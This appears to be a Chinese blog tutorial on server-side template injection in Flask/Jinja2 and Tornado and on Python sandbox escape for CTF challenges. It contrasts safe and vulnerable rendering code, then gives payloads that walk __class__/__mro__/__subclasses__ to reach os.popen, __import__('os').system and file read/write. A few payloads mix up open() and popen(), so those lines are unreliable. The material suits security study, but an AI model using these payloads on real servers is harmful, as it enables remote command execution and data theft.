無限可能

个人邮箱:985885413@qq.com

0%

SSTI/python沙箱逃逸

SSTI/python沙箱逃逸

漏洞成因

ssti,即服务端模板注入,指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,究其原因是程序员对代码不规范不严谨,导致了用户输入被串联到模板中而不是作为数据传递,才造成了模板注入漏洞,造成模板可控。

模板引擎

模板是一种提供给程序来解析的一种语法,换句话说,模板是把数据(变量)变成视觉表现(HTML代码)的实现手段,而这种手段不论在前端还是后端都有应用。

通俗点说就是,拿到数据,放到模板里面,然后让渲染引擎将这些东西生成为html的文本,返回给浏览器。这样做的好处是可以大大提升效率。

服务端模板注入的形成

通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登陆的时候可能会返回 hi,张三。这个张三可能就是把你的身份信息渲染成html返回到页面。

这里模板引擎就可能会出现漏洞,也就是将不可靠的用户的恶意数据经过引擎解析之后,没有过滤直接进行了执行。下面会详细讲到。

flask基础知识

flask

定义

Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。其WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。

Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

flask代码简单示例:

1
2
3
4
5
6
7
8
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"

if __name__ == "__main__":
app.run()

app = Flask(__name__) :Flask类必须指定一个参数,即主模块或包的名字。这里__name__为系统变量,指的是当前py文件的文件名。

@app.route(): 路由与视图函数。从client发送的url通过web服务器传给flask实例对象时,因为该实例需要知道对于每个url要对应执行哪部分的函数所以保存了一个url和函数之间的映射关系,处理url和函数之间关系的程序称为路由,在flask中用的是app.route路由装饰器,把装饰的函数注册为路由。简单理解就是@app.route(url)装饰器告诉Flask什么url触发什么函数,而通过装饰器将函数与url绑定在一起就称为路由。
app.run():样例为 run_simple(host, port, self, **options) 当不设置时,默认监听127.0.0.1:5000, 监听0.0.0.0的话则任意IP都可访问。该函数作用为开启flask集成的web服务,服务开启后会一直监听5000端口并处理请求知道程序停止。

渲染方法

render_template()

渲染一个指定的文件,这个指定的文件其实就是模板。

render_template_string()

渲染一个字符串,经常会被利用。

jinja2

flask是用jinja2作为渲染引擎的。

语法

在jinja2中存在三种语法

  1. { { } } 装载一个变量,渲染模板的时候,会使用传进来的同名参数将这个变量代表的值替换掉
  2. { { % % } } 装载一个控制语句 if..
  3. { # # } 装载一个注释,模板渲染的时候会忽略这中间的值
过滤器

变量可以通过“过滤器”进行修改,可以理解为是jinja2里面的内置函数和字符串处理函数。

在变量后面使用管道(|)分割,多个过滤器可以链式调用,前一个过滤器的输出会作为后一个过滤器的输入。

举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{{ 'abc' | captialize  }}
# Abc

{{ 'abc' | upper }}
# ABC

{{ 'hello world' | title }}
# Hello World

{{ "hello world" | replace('world','daxin') | upper }}
# HELLO DAXIN

{{ 18.18 | round | int }}
# 18

常见过滤器

  • safe: 渲染时值不转义
  • capitialize: 把值的首字母转换成大写,其他子母转换为小写
  • lower: 把值转换成小写形式
  • upper: 把值转换成大写形式
  • title: 把值中每个单词的首字母都转换成大写
  • trim: 把值的首尾空格去掉
  • striptags: 渲染之前把值中所有的HTML标签都删掉
  • join: 拼接多个值为字符串
  • replace: 替换字符串的值
  • round: 默认对数字进行四舍五入,也可以用参数进行控制
  • int: 把值转换成整型

漏洞举例

一个安全的代码应该如下:

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask,request,render_template
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET'] = "root:password"

@app.route('/')
@app.route('/index')
def index():
return render_template("index.html",title='SSTI_TEST',name=request.args.get("name"))

if __name__ == "__main__":
app.run()
1
2
3
4
5
6
7
8
9
<!--/www/templates/index.html-->
<html>
<head>
<title>{{title}} - cl4y</title>
</head>
<body>
<h1>Hello, {{name}} !</h1>
</body>
</html>

可以看到,我们在index.html里面构造了两个渲染模板,用户通过传递name参数可以控制回显的内容。即使用户输入渲染模板,更改语法结构,也不会造成SSTI注入。

原因是:服务端先将index.html渲染,然后读取用户输入的参数,模板其实已经固定,用户的输入不会更改模板的语法结构。

但如果CTF中或程序员为省事将代码这么写:

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
if __name__ == "__main__":
app.run()

这时,我们将数学运算设置为参数的值输入的内容,由于Flask 用Jinja2 作为模板渲染引擎,{{}}`在Jinja2中作为变量包裹标识符,渲染的时候把`{{}}包裹的内容当做变量解析替换,我们就可以看到这个数学运算被计算了,服务器渲染然后输出,这就形成了SSTI模板注入漏洞,可以直接xss等攻击。

利用方式

遇上一个SSTI的题,该如何下手?大体上有以下两种思路:

  • 查配置文件

    python框架,如flask,会在框架中内置全局变量、函数等,我们可以调用它来查阅配置文件。比如{{config}}

    这里用BUUCTF中的easy_tornado举例:

    1
    2
    3
    4
    5
    /hints.txt
    md5(cookie_secret+md5(filename))

    /flag.txt
    flag in /fllllllllllllag

    从题目hint提示中我们得知,需要知道当前的cookie_secret,尝试后弹出了error界面。结合前面的render提示,我们推测这里有模板注入。

    因此我们利用tornado引擎的handler.settings属性就可以得到session:

    之后经过计算得到flag,注意这里要对字符串进行类型转换,py3下字符串为unicode,hash传递需要utf-8。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import hashlib

    def md5(s):
    md5=hashlib.md5()#创建了一个md5算法的对象(md5不能反解),即造出hash工厂
    md5.update((s).encode("utf-8"))
    return md5.hexdigest()#产出hash值,拿到加密字符串

    if __name__ == '__main__':
    filename = '/fllllllllllllag'
    cookie_secret = '0364c59d-ec90-4fb3-a189-08592e0d9661'
    print(md5(cookie_secret+md5(filename)))

  • 命令执行(其实就是沙箱逃逸类题目的利用方式,下面会详细讲)

沙箱逃逸

沙箱逃逸,就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。

python的沙箱逃逸的过程

首先要知道,python中一切均为对象,均继承于object对象,python的object类中集成了很多的基础函数,假如我们需要在payload中使用某个函数就需要用object去操作。

利用各类之间的继承关系,完成以下寻找:

变量对象—>找到所属类型—>回溯基类—>寻找可利用子类—>获取全局变量

一些内置方法/属性

  • __class__:用来查看变量所属的类,根据前面的变量形式可用得到其所属的类
1
2
3
4
5
6
7
8
>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>
  • __bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值
  • __mro__:递归地显示父类一直到 object。
1
2
3
4
5
6
7
8
9
10
11
12
13
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
--------------------------------------------------
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
>>> ().__class__.__mro__[1] # 使用索引就能获取基类了
<class 'object'>
  • subclasses():查看当前类的子类,以元祖形式返回。
1
2
>>> ''.__class__.__mro__[2].__subclasses__()[40]
<type 'file'>
  • __init__

所有的可被当作模块导入的都包含 __init__方法,通过此方法来调用 __globals__方法

  • __globals__

所有函数都会有一个 __globals__ 属性, 用于获取当前空间下可使用的模块、方法及其所有变量,结果是一个字典。

1
2
3
4
5
6
7
8
9
10
11
12
>>> import os
>>> var = 2333
>>> def fun():
pass

>>> class test:
def __init__(self):
pass


>>> print(test.__init__.__globals__)
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'os': <module 'os' from 'C:\\Python3.7\\lib\\os.py'>, 'var': 2333, 'fun': <function fun at 0x00000238058C11F8>, 'test': <class '__main__.test'>}
  • __builtins__

    在 Python 中,有很多函数不需要任何 import 就可以直接使 用,例如chropen。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。

    1
    2
    >>>__builtins__.__import__('os').system('dir')
    bin dev flag ...

逃逸方法

我们可以通过继承链完成逃逸。

比如一个读文件语句:

1
''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('NEWS.txt').read()
1
2
3
4
5
>>> ''.__class__
<type 'str'>
>>> ''.__class__.__mro__
(<type 'str'>, <type 'object'>)
''.__class__.__mro__[1].__subclasses__()

''返回’str’,mro返回基类,subclasses()来找一下可以利用的子类:

找到os后,接下来添加上 __init__用传入的参数来初始化实例,使用__globals__以字典返回内建模块,从而成功读取文件。

可以用脚本来找含有os模块的:

1
2
3
4
for a in range(0,444):
i=' '.__class__.__mro__[1].__subclasses__()[a]
print(a)
print(i)

利用语句

读文件

1
2
3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}}

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__import__']('os').__dict__['popen']('ls').read()

写文件

1
object.__subclasses__()[40]('/tmp').write('test')